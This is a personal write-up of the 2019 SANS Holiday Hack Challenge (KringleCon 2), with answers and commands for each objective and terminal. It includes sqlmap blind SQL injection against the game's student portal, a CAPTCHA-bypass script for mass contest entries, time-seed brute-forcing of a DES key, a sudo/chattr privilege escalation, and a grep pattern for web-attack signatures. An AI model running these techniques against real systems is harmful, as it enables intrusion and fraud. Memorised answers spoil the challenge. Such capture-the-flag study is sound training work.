KringleCon2019
Write up for the 2019 SANS Holiday Hack Challenge, KringleCon 2
Objectives
00 - Talk to Santa in the Quad
Enter the campus quad and talk to Santa.
Answer: Obvious! Go have a chat with Santa
01 - Find the Turtle Doves
Find the missing turtle doves.
Answer: Walk into the Student Union, and chat with Michael and Jane, sitting next to the fireplace.
02 - Unredact Threatening Document
Difficulty: 🌲
Someone sent a threatening letter to Elf University. What is the first word in ALL CAPS in the subject line of the letter? Please find the letter in the Quad.
Walk to the top left corner of The Quad, there is a letter sitting on the ground behind a tree. Click it.
The easiest way to reveal the text under the confidential boxes is simply to click anywhere in the open PDF, press Ctrl + A to select all, Ctrl + C to copy, open a text editor, and paste the text. All text, including that under the confidential boxes, gets copied.
Answer: DEMAND
03 - Windows Log Analysis: Evaluate Attack Outcome
Difficulty: 🌲
We're seeing attacks against the Elf U domain! Using the event log data, identify the user account that the attacker compromised using a password spray attack. Bushy Evergreen is hanging out in the train station and may be able to help you out.
Hints from Bushy Evergreen: Have you taken a look at the password spray attack artifacts? I'll bet that DeepBlueCLI tool is helpful. You can check it out on GitHub. It was written by that Eric Conrad.
Running the DeepBlueCLI downloaded from github against the provided Windows Security log file, look for a successful login after a series of "High number of login failures for one account" alerts.
Answer: supatree
04 - Windows Log Analysis: Determine Attacker Technique
Difficulty: 🌲🌲
Using these normalized Sysmon logs, identify the tool the attacker used to retrieve domain password hashes from the lsass.exe process. For hints on achieving this objective, please visit Hermey Hall and talk with SugarPlum Mary.
Hints from SugarPlum Mary: Have you tried the Sysmon and EQL challenge? If you aren't familiar with Sysmon, Carlos Perez has some great info about it. Haven't heard of the Event Query Language? Check out Ross Wolf's talk at CircleCityCon.
https://www.darkoperator.com/blog/2014/8/8/sysinternals-sysmon
https://pen-testing.sans.org/blog/2019/12/10/eql-threat-hunting/
https://eqllib.readthedocs.io/en/latest/guides/sysmon.html#getting-sysmon-logs-with-powershell
https://github.com/endgameinc/eqllib/tree/master/utils
Open sysmon-data.json, find the process where the parent_process_name == lsass.exe, find its pid, search for a process with a ppid equal to the previously found pid
eql query -f sysmon-data.json 'process where parent_process_name == "lsass.exe" ' | jq
eql query -f sysmon-data.json 'process where (logon_id == 999 and ppid == 3440)' | jq
Answer: ntdsutil
05 - Network Log Analysis: Determine Compromised System
Difficulty: 🌲🌲
The attacks don't stop! Can you help identify the IP address of the malware-infected system using these Zeek logs? For hints on achieving this objective, please visit the Laboratory and talk with Sparkle Redberry.
Hint from Sparkle Redberry: For objective 5, have you taken a look at our Zeek logs? Something's gone wrong. But I hear someone named Rita can help us. Can you and she figure out what happened?
https://www.activecountermeasures.com/free-tools/rita/
I installed RITA and MongoDB in docker containers, used RITA to import unzip logs, generated an html report, viewed beacons, picked the top source IP (which had the highest score and and also the largest number of connections)
Answer: 192.168.134.130
06 - Splunk
Difficulty: 🌲🌲🌲
Access https://splunk.elfu.org/ as elf with password elfsocks. What was the message for Kent that the adversary embedded in this attack? The SOC folks at that link will help you along! For hints on achieving this objective, please visit the Laboratory in Hermey Hall and talk with Prof. Banas.
Login with Username: elf Password: elfsocks
Training Questions
1: sweetums
2: C:\Users\cbanas\Documents\Naughty_and_Nice_2019_draft.txt
3: 144.202.46.214.vultr.com
4: 19th Century Holiday Cheer Assignment.docm
5: 21
index=main sourcetype=stoq "results{}.workers.smtp.subject"="Holiday Cheer Assignment Submission" | table results{}.workers.smtp.from
6: 123456789
index=main sourcetype=stoq "19th Century Holiday Cheer Assignment.docm" | table _time results{}.workers.smtp.to results{}.workers.smtp.from results{}.workers.smtp.subject results{}.workers.smtp.body | sort - _time
Using the below query points out the location in the archive of the core.xml file. Download it and the message is the value in the "dc:description" key
index=main sourcetype=stoq "results{}.workers.smtp.from"="bradly buttercups <bradly.buttercups@eifu.org>" | eval results = spath(_raw, "results{}")
| mvexpand results
| eval path=spath(results, "archivers.filedir.path"), filename=spath(results, "payload_meta.extra_data.filename"), fullpath=path."/".filename
| search fullpath!=""
| table filename,fullpath
Answer: Kent you are so unfair. And we were going to make you the king of the Winter Carnival.
07 - Get Access To The Steam Tunnels
Difficulty: 🌲🌲🌲
Gain access to the steam tunnels. Who took the turtle doves? Please tell us their first and last name. For hints on achieving this objective, please visit Minty's dorm room and talk with Minty Candy Cane.
Hints from Minty Candycane: Have you played with the key grinder in my room? Check it out! It turns out: if you have a good image of a key, you can physically copy it. Maybe you'll see someone hopping around with a key here on campus. Sometimes you can find it in the Network tab of the browser console. Deviant has a great talk on it at this year's Con. He even has a collection of key bitting templates for common vendors like Kwikset, Schlage, and Yale.
Walk into Minty's dorm room with the key cutter, spot Krampus and the key hanging from his belt. His avatar image can be found here.
The lock in the closet has the brand name "Schlage" on it, so use the Schlage key bitting template provided by Deviant Ollam from his KringleCon 2019 talk, Optical Decoding of Keys.
Overlay it on top of the image of Krampus' key and decode it. I used GIMP, putting the bitting template on one layer and the key on another, resizing both until they lined up. The key decodes to (1-2-2-5-2-0).
Use the key cutting machine to cut a key with this code, then open the lock in the closet with that key. Walk in, talk to Krampus.
Answer: Krampus Hollyfeld
08 - Bypassing the Frido Sleigh CAPTEHA
Difficulty: 🌲🌲🌲🌲
Help Krampus beat the Frido Sleigh contest. For hints on achieving this objective, please talk with Alabaster Snowball in the Speaker Unpreparedness Room.
Hints from Krampus: Tell you what – if you can help me beat the Frido Sleigh contest (Objective 8), then I'll know I can trust you. The contest is here on my screen and at fridosleigh.com. No purchase necessary, enter as often as you want, so I am! They set up the rules, and lately, I have come to realize that I have certain materialistic, cookie needs. Unfortunately, it's restricted to elves only, and I can't bypass the CAPTEHA. (That's Completely Automated Public Turing test to tell Elves and Humans Apart.) I've already cataloged 12,000 images and decoded the API interface. Can you help me bypass the CAPTEHA and submit lots of entries?
Hints from Alabaster Snowball: Have you heard about the Frido Sleigh contest? There are some serious prizes up for grabs. The content is strictly for elves. Only elves can pass the CAPTEHA challenge required to enter. I heard there was a talk at KCII (https://www.youtube.com/watch?v=jmVPLwjm_zs) about using machine learning to defeat challenges like this. I don't think anything could ever beat an elf though!
Check out Chris Davis's talk, Machine Learning Use Cases for Cybersecurity, along with his example code.
I merged code from capteha_api.py and predict_images_using_trained_model.py as well as some custom code to reformat the uuids.
I ran the training script on my desktop with a CUDA enabled NVIDIA GPU, which sped up the training by quite a bit.
I ran my solve script from my beefy Xeon powered server, as it was able to correctly predict all the images in under 10 seconds, while my desktop took a bit longer. I found out later on that I could have tweaked the retrain.py script to use a faster (but less accurate) model, but why optimise code when you can just throw more raw power at it? 😈
The script output looks something like this:
$ ./solve.py
challenge_image_types: ['Santa Hats', 'Presents', 'Christmas Trees']
Processing 100 Images
Waiting For Threads to Finish...
CAPTEHA Solved!
Submitting lots of entries until we win the contest! Entry #1
Submitting lots of entries until we win the contest! Entry #2
Submitting lots of entries until we win the contest! Entry #3
Submitting lots of entries until we win the contest! Entry #4
Submitting lots of entries until we win the contest! Entry #5
...
Submitting lots of entries until we win the contest! Entry #99
Submitting lots of entries until we win the contest! Entry #100
{"data":"<h2 id=\"result_header\"> Entries for email address [redacted] no longer accepted as our systems show your email was already randomly selected as a winner! Go check your email to get your winning code. Please allow up to 3-5 minutes for the email to arrive in your inbox or check your spam filter settings. <br><br> Congratulations and Happy Holidays!</h2>","request":true}
Answer: 8Ia8LiZEwvyZr2WO
09 - Retrieve Scraps of Paper from Server
Difficulty: 🌲🌲🌲🌲
Gain access to the data on the Student Portal server and retrieve the paper scraps hosted there. What is the name of Santa's cutting-edge sleigh guidance system? For hints on achieving this objective, please visit the dorm and talk with Pepper Minstix.
Hints from Krampus: As for those scraps of paper, I scanned those and put the images on my server. I then threw the paper away. Unfortunately, I managed to lock out my account on the server. Hey! You’ve got some great skills. Would you please hack into my system and retrieve the scans? I give you permission to hack into it, solving Objective 9 in your badge.
Hints from Pepper Minstix: Have you had any luck retrieving scraps of paper from the Elf U server? You might want to look into SQL injection techniques. OWASP is always a good resource for web attacks. For blind SQLi, I've heard Sqlmap is a great tool. In certain circumstances though, you need custom tamper scripts to get things going!
https://www.owasp.org/index.php/SQL_Injection
https://pen-testing.sans.org/blog/2017/10/13/sqlmap-tamper-scripts-for-the-win
I used this python code to retrieve a validator token code
import requests;print( requests.request("GET", "https://studentportal.elfu.org/validator.php").text )
find vulns!
python sqlmap.py -u 'https://studentportal.elfu.org/application-check.php?elfmail=&token=blah' -p elfmail --eval="import requests;token=requests.request(\"GET\", \"https://studentportal.elfu.org/validator.php\").text" -v 5 --dbms MySQL
get dbs and tables
python sqlmap.py -u 'https://studentportal.elfu.org/application-check.php?elfmail=&token=blah' -p elfmail --eval="import requests;token=requests.request(\"GET\", \"https://studentportal.elfu.org/validator.php\").text" --dbms MySQL --tables
Output
available databases [2]:
[*] elfu
[*] information_schema
Database: elfu
[3 tables]
+---------------------------------------+
| applications |
| krampus |
| students |
+---------------------------------------+
get everything from "krampus" table in "elfu" db
python sqlmap.py -u 'https://studentportal.elfu.org/application-check.php?elfmail=&token=blah' -p elfmail --eval="import requests;token=requests.request(\"GET\", \"https://studentportal.elfu.org/validator.php\").text" --dbms MySQL -D elfu -T krampus --sql-query="select * from krampus;"
Output
[*] /krampus/0f5f510e.png, 1
[*] /krampus/1cc7e121.png, 2
[*] /krampus/439f15e6.png, 3
[*] /krampus/667d6896.png, 4
[*] /krampus/adb798ca.png, 5
[*] /krampus/ba417715.png, 6
Download all the paper scraps
wget https://studentportal.elfu.org/krampus/0f5f510e.png;
wget https://studentportal.elfu.org/krampus/1cc7e121.png;
wget https://studentportal.elfu.org/krampus/439f15e6.png;
wget https://studentportal.elfu.org/krampus/667d6896.png;
wget https://studentportal.elfu.org/krampus/adb798ca.png;
wget https://studentportal.elfu.org/krampus/ba417715.png;
Open images in GIMP, one image per layer, rotate and re-arrage them.
Answer: Super Sled-o-matic
10 - Recover Cleartext Document
Difficulty: 🌲🌲🌲🌲🌲
The Elfscrow Crypto tool is a vital asset used at Elf University for encrypting SUPER SECRET documents. We can't send you the source, but we do have debug symbols that you can use.
Recover the plaintext content for this encrypted document. We know that it was encrypted on December 6, 2019, between 7pm and 9pm UTC.
What is the middle line on the cover page? (Hint: it's five words)
For hints on achieving this objective, please visit the NetWars room and talk with Holly Evergreen.
Hints from Holly Evergreen:
... digital rights management can bring a hacking elf down. That ElfScrow one can really be a hassle. It's a good thing Ron Bowes is giving a talk on reverse engineering! That guy knows how to rip a thing apart. It's like he breathes opcodes!
I started with Ron's template and completed the 'generate_key' function by following the hints he gives in his reversing crypto talk.
I used the LCG::Microsoft rand() code found at https://rosettacode.org/wiki/Linear_congruential_generator#Ruby
Looking at the "strings" within the exe, we can gather a few key pieces of information. The first is the error string "CryptImportKey failed for DES-CBC key", which tells us what cipher and mode to use.
Using the exe to encrypt a test file, it spits out the key length, and gives further confirmation of the encryption cipher used.
The solve.rb script I used can be found here
I ran this script to generate a list of all the timestamps in the time range given, run the solve.rb script for each time stamp which spits out an attempt at the decrypted PDF. The last step searches through all the "decrypted" files and prints out the name of the files with a "magic number" that matches that of a PDF file.
#!/bin/bash
START=1575658800 ## December 6, 2019 7pm UTC
END=1575666000 ## December 6, 2019 9pm UTC
INFILE="ElfUResearchLabsSuperSledOMaticQuickStartGuideV1.2.pdf.enc"
mkdir out
for SEED in $(seq $START $END); do
ruby solve.rb ${SEED} ${INFILE}
done
find ./out -type f -exec sh -c '
case $( file -bi "$1" ) in
*/pdf*) exit 0
esac
exit 1' sh {} ';' -print
This returns a single PDF file name, decrypted using a seed of 1575663650 and a key = b5ad6a321240fbec
Open up 1575663650-dec.pdf and read the 5 word string in the middle of the first page.
Answer: Machine Learning Sleigh Route Finder
11 - Open the Sleigh Shop Door
Difficulty: 🌲🌲🌲🌲🌲
Visit Shinny Upatree in the Student Union and help solve their problem. What is written on the paper you retrieve for Shinny?
For hints on achieving this objective, please visit the Student Union and talk with Kent Tinseltooth.
Hints from Shinny Upatree: Psst - hey! I'm Shinny Upatree, and I know what's going on! Yeah, that's right - guarding the sleigh shop has made me privvy to some serious, high-level intel. In fact, I know WHO is causing all the trouble. Cindy? Oh no no, not that who. And stop guessing - you'll never figure it out. The only way you could would be if you could break into my crate, here. You see, I've written the villain's name down on a piece of paper and hidden it away securely!
Crack all the locks on the door or the crate
To open each lock, use Browser Dev Tools (F12 in Chrome)
1: Console tab: scroll down
2: Open print preview of page, hidden text will show up next to the lock
3: Network tab, watch for a delayed load of a png file
4: Application tab, storage, expand local storage, select the crate url, view the single key value pair
5: Elements tab, expand <head>, look at the end of <title>
6: Inspect hologram image, view element style, un-check perspective box
7: Right click and Inspect the instructions text, view .instructions style, look at the first font listed in font-family
8: Right click and Inspect the .eggs text, click event listeners, expand spoil: VERONICA
9: Right click and Inspect the word "next", right click on each span, select "force state, :active", read the new red letters that pop up on the page
10: Right click and inspect the c10 lock element, expand it, right click on the "cover" DIV and click "Hide Element". The lock code "KD29XJ37" is written on the PCB, then Search the DOM for "macaroni" "swab" and "gnome" DIV elements. Drag each into the lock c10 lock div. Click the exposed button.
Answer: The Tooth Fairy
12 - Filter Out Poisoned Sources of Weather Data
Difficulty: 🌲🌲🌲🌲
Use the data supplied in the Zeek JSON logs to identify the IP addresses of attackers poisoning Santa's flight mapping software. Block the 100 offending sources of information to guide Santa's sleigh through the attack. Submit the Route ID ("RID") success value that you're given. For hints on achieving this objective, please visit the Sleigh Shop and talk with Wunorse Openslae.
Download and extract the zeek json formated log http.log. JQ is a great tool for viewing, parsing, and searching json files.
wget https://downloads.elfu.org/http.log.gz
gunzip http.log.gz
A hint from the PDF found in objective 10 states that the default username and password for the Sleigh Route Finder (SRF) can be found in the readme of the the ElfU Research Labs git repository.
If you search the http.log for "README", you find a URI containing "/README.md". Browse to https://srf.elfu.org/README.md and find the default credentials:
admin 924158F9522B3744F5FCD4D10FAC4356
Start searching the http.log for evidence of Cross-site scripting (XSS), Local File Inclusion (LFI), Shellshock (SS), and SQL injection (SQLi) attacks.
I wrote this one-liner bash command which found 62 such attacks and stored each attacker's IP in a file.
cat http.log | jq -s -j '.[0][] | .["id.orig_h"], ", ", .uri, " ", .host, " ", .user_agent, " ", .username, "\n"' | egrep --color=always -i '\.\.|etc/|<|>|\{ :; \};|\$|\;cat|union|1=1' | awk -F, '{print $1}' > 62-bad-ips.txt
This command dumps a CSV formatted list containing all those IPs, ready to be pasted straight into the SRF Firewall tool:
cat 62-bad-ips.txt | awk -F, '{print $1}' | tr '\n' ','
Output:
42.103.246.250,56.5.47.137,19.235.69.221,69.221.145.150,42.191.112.181,48.66.193.176,49.161.8.58,84.147.231.129,44.74.106.131,106.93.213.219,2.230.60.70,10.155.246.29,225.191.220.138,75.73.228.192,249.34.9.16,27.88.56.114,238.143.78.114,121.7.186.163,106.132.195.153,129.121.121.48,190.245.228.38,34.129.179.28,135.32.99.116,2.240.116.254,45.239.232.245,102.143.16.184,230.246.50.221,131.186.145.73,253.182.102.55,229.133.163.235,23.49.177.78,223.149.180.133,33.132.98.193,84.185.44.166,254.140.181.172,150.50.77.238,187.178.169.123,116.116.98.205,9.206.212.33,28.169.41.122,68.115.251.76,118.196.230.170,173.37.160.150,81.14.204.154,135.203.243.43,186.28.46.179,13.39.153.254,111.81.145.191,0.216.249.31,31.254.228.4,220.132.33.81,83.0.8.119,150.45.133.97,229.229.189.246,227.110.45.126,61.110.82.125,65.153.114.120,123.127.233.97,95.166.116.45,80.244.147.207,168.66.108.62,200.75.228.240
Next I created a tab separated value (TSV) formatted file of all the log entries (CSV breaks because several of the fields contain commas):
cat http.log | jq -s -j '.[0][] | .ts,"\t",.uid,"\t",.["id.orig_h"],"\t",.["id.orig_p"],"\t",.["id.resp_h"],"\t",.["id.resp_p"],"\t",.method,"\t",.host,"\t",.uri,"\t",.referrer,"\t",.version,"\t",.user_agent,"\t",.origin,"\t",.status_code,"\t",.info_code,"\t",.info_msg,"\t",.username,"\t",.password,"\t",.proxied,"\t",.orig_fuids,"\t",.orig_filenames,"\t",.orig_mime_types,"\t",.resp_fuids,"\t",.resp_filenames,"\t",.resp_mime_types,"\n"' >> all.tsv
To find the rest of the IPs, we have to pivot using information found in the logs of the 62 attackers. If you look closely at the user-agents used by those attackers, most are using strange variations of normal user-agents, along with several user-agents used by known malware.
These two commands create a list of all the user agents strings the 62 attackers used:
for ip in $(cat 62-bad-ips.txt); do cat http.log| jq -s -j '.[0][]|.["id.orig_h"],", ",.user_agent, "\n"' | grep $ip; done |tee 62-bad-useragents.txt
cat 62-bad-useragents.txt | awk -F', ' '{print $2}' | sort | uniq > bad-user-agents.txt
Now let's gather a list of all the unique IPs (in CSV format) from the list of known bad user agents:
while read useragent; do grep "$useragent" all.tsv | awk -F"\t" '{print $3}'; done <bad-user-agents.txt | sort | uniq | tr '\n' ','
Output:
10.122.158.57,10.155.246.29,102.143.16.184,103.235.93.133,104.179.109.113,106.132.195.153,106.93.213.219,116.116.98.205,118.26.57.38,121.7.186.163,123.127.233.97,126.102.12.53,129.121.121.48,131.186.145.73,135.32.99.116,140.60.154.239,142.128.135.10,148.146.134.52,158.171.84.209,168.66.108.62,185.19.7.133,187.152.203.243,187.178.169.123,190.245.228.38,19.235.69.221,200.75.228.240,203.68.29.5,217.132.156.225,2.230.60.70,223.149.180.133,22.34.153.164,2.240.116.254,225.191.220.138,226.102.56.13,226.240.188.154,229.133.163.235,230.246.50.221,231.179.108.238,23.49.177.78,238.143.78.114,249.237.77.152,249.34.9.16,249.90.116.138,250.22.86.40,252.122.243.212,253.182.102.55,253.65.40.39,27.88.56.114,28.169.41.122,29.0.183.220,31.116.232.143,34.129.179.28,34.155.174.167,37.216.249.50,42.103.246.130,42.103.246.250,42.127.244.30,42.16.149.112,42.191.112.181,44.164.136.41,44.74.106.131,45.239.232.245,48.66.193.176,49.161.8.58,50.154.111.0,53.160.218.44,56.5.47.137,61.110.82.125,65.153.114.120,66.116.147.181,69.221.145.150,75.73.228.192,80.244.147.207,84.147.231.129,87.195.80.126,9.206.212.33,92.213.148.0,95.166.116.45,97.220.93.190
Login to the SRF site with the default admin creds we found earlier, scroll to the bottomw, and paste the two sets of IPs into the firewall form. Click DENY, and wait for the router planner to finish.
Route Calculation Success! RID:0807198508261964
Answer: 0807198508261964
Terminals and Challenges
Escape Ed challenge - Bushy Evergreen
https://docker2019.kringlecon.com/?challenge=edescape&id=aeb965b7-7032-4d84-95ac-ea0c879bf559
Answer: .wq
Linux Path - SugarPlum Mary
https://docker2019.kringlecon.com/?challenge=path&id=aeb965b7-7032-4d84-95ac-ea0c879bf559
Answer: /bin/ls
Mongo Pilfer - Holly Evergreen
https://docker2019.kringlecon.com/?challenge=mongo&id=aeb965b7-7032-4d84-95ac-ea0c879bf559
$ ps -ef
mongo 10 1 3 00:49 ? 00:00:01 /usr/bin/mongod --quiet --fork --port 12121
elf@1c11471c21d3:~$ grep mongo /etc/passwd
mongodb:x:101:101::/var/lib/mongodb:/usr/sbin/nologin
mongo:x:1000:1000::/home/mongo:/bin/sh
dump
$ mongodump --port 12121
$ cat dump/elfu/solution.bson
You did good! Just run the command between the stars: ** db.loadServerScripts();displaySolution(); **
connect
mongo --port 12121
> show dbs
admin 0.000GB
config 0.000GB
elfu 0.000GB
local 0.000GB
test 0.000GB
Answer:
> use elfu
> db.loadServerScripts();displaySolution();
Nyanshell - Alabaster Snowball
https://docker2019.kringlecon.com/?challenge=nyanshell&id=aeb965b7-7032-4d84-95ac-ea0c879bf559
Answer:
lsattr /bin/nsh
sudo chattr -i /bin/nsh
cat /bin/bash > /bin/nsh
su - alabaster_snowball
Frosty Keypad - Tangle Coalbox
https://keypad.elfu.org/?challenge=keypad
I've got a few clues for you. One digit is repeated once. The code is a prime number. You can probably tell by looking at the keypad which buttons are used.
I found a list of the first 10k prime numbers, and ran this command against it. It spit out a list of only a few options.
cat prime.list | grep 1 | grep 3 | grep 7 | egrep -v '2|4|5|6|8|9|0'
Answer: PIN = 7331
Hint:
Yep, that's it. Thanks for the assist, gumshoe.
Hey, if you think you can help with another problem, Prof. Banas could use a hand too.
Head west to the other side of the quad into Hermey Hall and find him in the Laboratory.
Holiday Hack Trail - Minty Candycane
https://trail.elfu.org/gameselect/
I just LOVE this old game!
I found it on a 5 1/4" floppy in the attic.
You should give it a go!
If you get stuck at all, check out this year's talks.
One is about web application penetration testing.
Good luck, and don't get dysentery!
Solution:
Paste into URL box
hhc://trail.hhc/trail/?difficulty=0&distance=8000&money=5000&pace=0&curmonth=7&curday=1&reindeer=2&runners=2&ammo=100&meds=20&food=400&name0=Ryan&health0=100&cond0=0&causeofdeath0=&deathday0=0&deathmonth0=0&name1=Chloe&health1=100&cond1=0&causeofdeath1=&deathday1=0&deathmonth1=0&name2=Herbert&health2=100&cond2=0&causeofdeath2=&deathday2=0&deathmonth2=0&name3=Sally&health3=100&cond3=0&causeofdeath3=&deathday3=0&deathmonth3=0
hhc://trail.hhc/fin/
Xmas Cheer Laser - Sparkle Redberry
https://docker2019.kringlecon.com/?challenge=powershell&id=0bdc5b32-99aa-426f-83f9-ffea2e103154
I'm Sparkle Redberry and Imma chargin' my laser!
Problem is: the settings are off.
Do you know any PowerShell?
It'd be GREAT if you could hop in and recalibrate this thing.
It spreads holiday cheer across the Earth ...
... when it's working!
Solution:
(Invoke-WebRequest http://localhost:1225/api/off).RawContent
(Invoke-WebRequest http://localhost:1225/api/temperature?val=-33.5).RawContent
(Invoke-WebRequest http://127.0.0.1:1225/api/angle?val=65.5).RawContent
(Invoke-WebRequest http://127.0.0.1:1225/api/refraction?val=1.867).RawContent
$correct_gases_postbody = @{O=6;H=7;;He=3;N=4;Ne=22;Ar=11;Xe=10;F=20;Kr=8;Rn=9}
Invoke-WebRequest -Uri http://localhost:1225/api/gas -Method POST -Body $correct_gases_postbody
(Invoke-WebRequest http://localhost:1225/api/on).RawContent
(Invoke-WebRequest http://localhost:1225/api/output).RawContent
GrayLog - Pepper Minstix
https://incident.elfu.org/?challenge=graylog
Normally I'm jollier, but this Graylog has me a bit mystified.
Have you used Graylog before? It is a log management system based on Elasticsearch, MongoDB, and Scala.
Some Elf U computers were hacked, and I've been tasked with performing incident response.
Can you help me fill out the incident response report using our instance of Graylog?
It's probably helpful if you know a few things about Graylog.
Event IDs and Sysmon are important too. Have you spent time with those?
Don't worry - I'm sure you can figure this all out for me!
Click on the All messages Link to access the Graylog search interface!
Make sure you are searching in all messages!
The Elf U Graylog server has an integrated incident response reporting system. Just mouse-over the box in the lower-right corner.
Login with the username elfustudent and password elfustudent.
1:
Q: viewed previous searches, found "filtering out other users ok"
A: C:\Users\minty\Downloads\cookie_recipe.exe
2:
Q: search for "_exists_:DestinationIp AND _exists_:DestinationPort and ProcessImage:/.*cookie_recipe.exe/ AND UserAccount:minty"
A: 192.168.247.175:4444
3:
Q: search for CommandLine strings from "cookie_recipe.exe" search
A: whoami
4:
webexservice
5:
C:\cookie.exe
6:
alabaster
7:
06:04:28
8:
elfu-res-wks2,elfu-res-wks3,3
9:
C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf
10:
Q: Search for "source:elfu-res-wks2" during 2019-11-19 06:14:24 to :25 timespan
A: 104.22.3.84
Incident Response Report #7830984301576234 Submitted.
Incident Fully Detected!
Wunorse Openslae - Zeek JSON Analysis
https://docker2019.kringlecon.com/?challenge=jq&id=e50513a7-e21b-455c-be36-311a556cb5b4
Wunorse Openslae here, just looking at some Zeek logs.
I'm pretty sure one of these connections is a malicious C2 channel...
Do you think you could take a look?
I hear a lot of C2 channels have very long connection times.
Please use jq to find the longest connection in this data set.
We have to kick out any and all grinchy activity!
https://pen-testing.sans.org/blog/2019/12/03/parsing-zeek-json-logs-with-jq-2
cat conn.log | jq -s 'sort_by(.duration) | reverse | .[0]'
runtoanswer
What is the destination IP address with the longes connection duration?
Answer: 13.107.21.200
Smart Braces - Kent Tinseltooth
https://docker2019.kringlecon.com/?challenge=iptables&id=aeb965b7-7032-4d84-95ac-ea0c879bf559
$ cat IOTteethBraces.md
# ElfU Research Labs - Smart Braces
### A Lightweight Linux Device for Teeth Braces
### Imagined and Created by ElfU Student Kent TinselTooth
This device is embedded into one's teeth braces for easy management and monitoring of dental status. It uses FTP and HTTP for management and monitoring purposes but also has SSH for remote access. Please refer to the management documentation for this purpose.
Proper Firewall configuration:
The firewall used for this system is `iptables`. The following is an example of how to set a default policy with using `iptables`:
```
sudo iptables -P FORWARD DROP
```
The following is an example of allowing traffic from a specific IP and to a specific port:
```
sudo iptables -A INPUT -p tcp --dport 25 -s 172.18.5.4 -j ACCEPT
```
A proper configuration for the Smart Braces should be exactly:
1. Set the default policies to DROP for the INPUT, FORWARD, and OUTPUT chains.
2. Create a rule to ACCEPT all connections that are ESTABLISHED,RELATED on the INPUT and the OUTPUT chains.
3. Create a rule to ACCEPT only remote source IP address 172.19.0.225 to access the local SSH server (on port 22).
4. Create a rule to ACCEPT any source IP to the local TCP services on ports 21 and 80.
5. Create a rule to ACCEPT all OUTPUT traffic with a destination TCP port of 80.
6. Create a rule applied to the INPUT chain to ACCEPT all traffic from the lo interface.